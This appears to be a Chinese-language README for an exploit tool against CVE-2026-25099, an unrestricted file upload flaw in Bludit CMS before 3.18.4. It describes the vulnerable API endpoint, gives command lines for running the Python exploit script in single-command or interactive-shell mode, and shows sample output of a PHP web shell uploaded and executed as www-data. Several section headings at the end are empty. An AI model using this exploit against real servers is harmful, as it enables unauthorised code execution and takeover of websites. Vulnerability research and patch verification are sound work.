CVE-2026-25099 - Bludit CMS API 无限制文件上传导致 RCE

描述

Bludit CMS 3.18.4 之前的版本允许持有有效 API 令牌的已认证攻击者通过 POST /api/files/<page-key> 端点上传任意类型和扩展名的文件。uploadFile() 函数不执行任何文件扩展名或内容验证，允许上传 PHP 网页木马并以 www-data 权限执行。

受影响版本

存在漏洞： Bludit < 3.18.4
已修复： Bludit 3.18.4
前提条件： 有效 API 令牌（可在管理面板的插件 → API 下查看）

使用方法

# 单条命令执行
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN" -c "id"

# 交互式 Shell
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN"

示例输出

[*] CVE-2026-25099 - Bludit CMS API 文件上传导致 RCE
[*] 目标： http://target
[*] 获取页面密钥...
[+] 页面密钥： create-your-own-content
[*] 上传网页木马...
[+] 木马已上传： http://target/bl-content/uploads/pages/create-your-own-content/abcdefgh.php
[*] 验证 RCE...
[+] RCE 已确认： uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] 交互式 Shell（输入 'exit' 退出）

shell> whoami
www-data
shell> grep BLUDIT_VERSION /var/www/html/bl-kernel/boot/init.php
define('BLUDIT_VERSION', '3.18.2');

CVE-2026-25099

最受欢迎

截图

修复建议

参考链接

作者

免责声明